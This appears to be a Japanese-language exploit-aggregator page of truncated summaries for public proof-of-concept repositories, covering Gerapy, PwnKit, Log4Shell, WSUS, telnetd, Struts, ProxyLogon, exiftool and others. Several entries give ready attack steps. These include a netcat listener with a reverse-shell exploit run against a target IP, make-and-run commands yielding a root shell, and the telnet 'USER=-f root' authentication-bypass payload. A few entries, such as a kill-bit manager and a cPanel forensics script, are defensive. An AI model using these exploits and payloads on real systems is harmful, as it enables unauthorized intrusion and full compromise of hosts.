CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 ポータルに管理者としてログイン 新しいプロジェクトを追加 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 シェルを楽しむ...

Exploiting-Samba-on-Metasploitable-2

Metasploitable-2でのSambaの悪用 私の目標は、Kali Linux マシンから metasploit を使用して、よく知られた samba の脆弱性 CVE-2007-2447 を悪用することでした。これは、リバースシェルを使用して Metasploitable 2 マシンに侵入し、ルートフォルダにアクセスするために行われます。このフォルダにアクセスすると、/etc/shadow フォルダが明らかになり、侵害の証拠となります。 1. Nmap スキャンとターゲット列挙 まず、各ホストマシンの IP アドレスを特定します。 Metasploitable 2:...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API 無制限ファイルアップロードによるRCE 説明 Bludit CMS 3.18.4 より前のバージョンでは、有効なAPIトークンを持つ認証済み攻撃者が、POST /api/files/ エンドポイントを介して任意のタイプおよび拡張子のファイルをアップロードできます。uploadFile 関数はファイル拡張子やコンテンツの検証を一切行わないため、PHPウェブシェルをアップロードして www-data として実行することが可能です。 影響を受けるバージョン 脆弱性あり: Bludit 3.18.4 修正済み: Bludit...

CVE-2021-4034

CVE-2021-4034 エクスプロイト 使用方法 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 暫定パッチ root@kitploit: chmod 075...

CVE-2026-31431

CVE-2026-31431 — AFALG を介したローカル権限昇格 2026-04-29 — このエクスプロイトをMyDigitalLife フォーラム で公開した翌日に公開します。 Python は不要で、C で記述され、以下を使用して可能な限り小さくコンパイルされています: root@kitploit: musl-gcc -static -Os -o exploit exploit.c -s 重大な脅威です。エクスプロイトバイナリは依存関係なしでコンパイルされており、任意の Linux システムで脆弱性のテストに使用できます。 CVE-2026-31431 は、NIST が確認し...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのためのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-403...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j このルームは、悪名高いLog4j脆弱性（CVE-2021-44228）（Log4Shellとも呼ばれる）を悪用することに基づいています。この脆弱性により、攻撃者はログメッセージに悪意のあるペイロードを注入してリモートコードを実行できます。 TASK 1 – CVE-2021-44228 はじめに このタスクでは、Apache Log4jのLog4Shell脆弱性（CVE-2021-44228）について学習しました。 • Log4jは広く使われているJavaロギングライブラリです。 •...

CVE-2025-59287-WSUS

CVE-2025-59287-WSUS hawktrace POCエクスプロイトのPowerShell版 https://hawktrace.com/blog/CVE-2025-59287-UNAUTH 1: スクリプト内の変数を編集します（url、portなど） 2: netcatリスナーを起動します 3: スクリプトを実行します - ysoserial.netを自動ダウンロードし、ペイロードを生成してWSUSサーバーにエクスプロイトを送信します これにより、コンソールにhawktrace.localという名前の新しいコンピューターが生成されます 4:...

CVE-2026-21509-handler

CVE-2026-21509 Office Kill-Bit マネージャー CVE-2026-21509 のMicrosoft Officeゼロデイ脆弱性（Office 2016/2019/LTSCに影響）に対する Kill-Bit保護の確認、適用、テスト を行うPowerShellスクリプトです。 CVE-2026-21509とは？ Microsoft OfficeのOLE/COM処理における重大なRCE脆弱性 （CVSS 9.8）。APT28（Fancy Bear）により、Shell.Explorer COMオブジェクト...

CVE-2026-32202

免責事項 このツールは許可されたレッドチーム演習およびペネトレーションテスト 専用です。 明示的な許可なくシステムに対して不正に使用することは違法です。 自己責任で使用してください。作者は、誤用や損害について一切の責任を負いません。 説明 不完全なWindows...

CVE-2023-50164-PoC

CVE-2023-50164（Apache Struts パストラバーサルからRCEへの脆弱性）- 概念実証 このPoCは、Apache Struts2の脆弱性を悪用してRCE（リモートコード実行）をテストするために作成されました。 イメージをビルドしてコンテナを実行します： root@kitploit: $ DOCKERBUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc エクスプロイトを実行します： root@kitploit: $ cd exploit...

CVE-2025-32463

CVE-2025-32463 - セットアップおよび実行ガイド これは、悪意のあるエクスプロイトをNucleiテンプレートに移植して、非侵入型の脆弱性スキャンを実施しつつ、根本的な問題を実証するという初めての試みです。 このプロセスを学習演習として、より詳細に文書化しました。 私が直面した主な課題は以下のとおりです： 元のエクスプロイトコードを、元のエクスプロイトのようにルートシェルを取得せずに特権昇格を効果的にテストできる安全なものに変更する方法。...

CVE-2025-8625

CVE-2025-8625 — PoC 概要 このリポジトリには、Xakep.ru に掲載された記事のソースファイルが格納されています。 このリポジトリには、セキュリティ研究、教育、および隔離されたラボ環境 でのテストのみ を目的としたデモンストレーション資料が含まれています。このリポジトリは、第三者システムに対する使用を意図していません 。 リポジトリの内容 docker-compose.yml — 分析とテストのためのローカルで隔離された WordPress インスタンスを起動するための設定。 exploit/CVE-2025-8625.py —...

CVE-2026-24061

CVE-2026-24061 复现步骤 构建镜像 root@kitploit: docker build -t telnetd-bypass . 启动容器 root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass 发送payload root@kitploit: USER='-f root' telnet -a 127.0.0.1 23 返回 root@kitploit: Trying 127.0.0.1... Connected to...

CVE-2026-33310

CVE-2026-33310 CVE-2026-33310パラメータデフォルトにおけるshell展開によるコマンドインジェクション 概要 パラメータのデフォルト値内のshell構文は、カタログ解析プロセス中に自動的に展開されるようです。 カタログにshellのようなパラメータデフォルトが含まれている場合、カタログソースがアクセスされたときにコマンドが実行される可能性があります。 つまり、ユーザーが悪意のあるカタログYAMLを読み込むと、埋め込まれたコマンドがホストシステム上で実行される可能性があります。 この動作は、CWE-78: OSコマンドインジェクション /...

CVE-2026-24061

CVE-2026-24061 - telnetd 認証バイパス 概要 GNU InetUtils の telnetd における引数インジェクション。バージョン1.9.3から2.7が影響。CVSS 9.8。2026年1月26日よりCISA KEVに登録されており、野外で活発に悪用されている。 この脆弱性の核心は、telnetd が NEW-ENVIRON（RFC 1572）を通じてクライアントから環境変数 USER の値を受け取り、それを一切検証せずに login1 の呼び出しに直接埋め込むことにある。クライアントが USER="-f root" を送信すると、telnetd...

cpanel-forensics

CVE-2026-41940 後の cPanel/WHM フォレンジック CVE-2026-41940（CVSS 9.8）の脆弱性発生後のサーバーを検査するための Bash スクリプト。 攻撃者は64日間、パスワードなしで root アクセスを保持していました — パッチは内部に持ち込まれたものを削除しません。 実行方法 root@kitploit: sudo bash cpanelforensics.sh レポートは /tmp/forensicsreport日付.txt に保存されます。 検査内容 全ユーザーの SSH authorizedkeys UID 0 のユーザー...

CVE-2024-12856

CVE-2024-12856 これは、Four-Faith ルーターのモデル F3x24 および F3x36 を対象としたリバースシェルを取得するためのエクスプロイトです。 「Four-Faith ルーターのモデル F3x24 および F3x36 は、オペレーティングシステム（OS）コマンドインジェクションの脆弱性の影響を受けます。少なくともファームウェアバージョン 2.0 では、認証されたリモート攻撃者が、apply.cgi を介してシステム時刻を変更する際に、HTTP 経由で任意の OS...

ProxyLogon-CVE-2021-26855

CVE-2021-26855 これは proxylogon の POC を改変したバージョンです。"whoami" を起動する代わりに、新しいユーザーを作成してそのユーザーを Administrators グループに追加し、リバースシェルを作成します。オリジナルの POC コードはこちら: https://www.exploit-db.com/exploits/49663 使用方法: python proxylogon.py...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exiftool の CVE-2021-22204 脆弱性に対する Python エクスプロイトです。 ビデオチュートリアル Youtube root@kitploit: 404 notfound 要件 root@kitploit: python3 python3-pip djvulibre-bin exiftool 要件のインストール Debian root@kitploit: apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip...